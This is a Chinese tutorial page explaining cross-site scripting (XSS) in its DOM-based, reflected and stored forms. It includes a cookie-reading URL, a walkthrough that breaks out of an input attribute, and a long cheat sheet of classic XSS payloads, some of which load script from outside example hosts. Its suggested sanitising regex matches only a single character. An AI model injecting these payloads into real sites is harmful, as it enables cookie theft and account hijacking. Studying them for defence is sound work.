跨站式脚本(Cross-SiteScripting)XSS攻击原理分析第2/4页
更新时间：2008年09月06日 12:27:38 作者：
XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。
分类
1. DOM-based cross-site scripting
页面本身包含一些DOM对象的操作，如果未对输入的参数进行处理，可能会导致执行恶意脚本。如下面一些DOM操作： document.URL
复制代码 代码如下:
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
举个例子，假如某个脆弱的页面的代码如下：
[Ctrl+A 全选 注:引入外部Js需再刷新一下页面才能执行]
攻击者使用如下的URL访问时，则非常危险： http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
试了一下，貌似IE、FireFox等浏览器默认对<script>alert(document.cookie)</script>进行了编码，阻止了脚本的执行。但是对于DOM操作还是要更加谨慎啊，比如把上面的页面修改一下，安全性就增强了不少：
复制代码 代码如下:
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
</SCRIPT>
2. Reflected cross-site scripting
也被称为None-Persistent cross-site scripting，即，非持久化的XSS攻击，是我们通常所说的，也是最常用，使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻击，指的是恶意脚本代码被存储进被攻击的数据库，当其他用户正常浏览网页时，站点从数据库中读取了非法用户存入非法数据，恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
实施方式
我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX，发现参数XXX原样的出现在了页面源码中： <input type="text" class="Seach" name="w" value="XXX" />
OK，可以开始做文章了，我们将XXX替换为：abc"/><script>alert('haha')</script><a href=" ，返回的HTML代码如下：
<input type="text" class="Seach" name="w" value="abc"/><script>alert('haha')</script><!--" />
这样，<script>alert('haha')</script>被执行了。这里再举例一些XSS攻击行为：
复制代码 代码如下:
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);
相关文章
风讯4.0未公开Bug...2006-11-11
这篇文章主要为大家介绍了Portia开源可视化爬虫工具的使用学习，有需要的朋友可以借鉴参考下，希望能够有所帮助，祝大家多多进步，早日升职加薪2022-04-04
这篇文章主要为大家介绍了Iptables防火墙iprange模块扩展匹配规则详解，有需要的朋友可以借鉴参考下，希望能够有所帮助，祝大家多多进步，早日升职加薪2022-08-08
跨站脚本攻击XSS（Cross Site Script）的原理与常见场景分析
XSS指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。这篇文章主要给大家介绍了关于跨站脚本攻击XSS（Cross Site Script）的原理与常见场景的相关资料，需要的朋友可以参考下。2017-12-12
Iptables防火墙connlimit与time模块扩展匹配规则
这篇文章主要为大家介绍了Iptables防火墙connlimit与time模块扩展匹配规则详解，有需要的朋友可以借鉴参考下，希望能够有所帮助，祝大家多多进步，早日升职加薪2022-08-08
网页打开后自动执行木马...2006-09-09
超初级的linux后门制作方法...2006-10-10
真正能用,还有点效果的CSS挂马代码的方法...2007-10-10![注册验证java代码[针对上篇文章]](//img.jbzj.com/images/xgimg/bcimg8.png)
注册验证代码[针对上篇文章] ,大家可以多参考脚本之家以前发布的文章。2009-08-08
Win32 下病毒设计入门详细说明...2007-04-04
![注册验证java代码[针对上篇文章]](http://img.jbzj.com/images/xgimg/bcimg8.png)
最新评论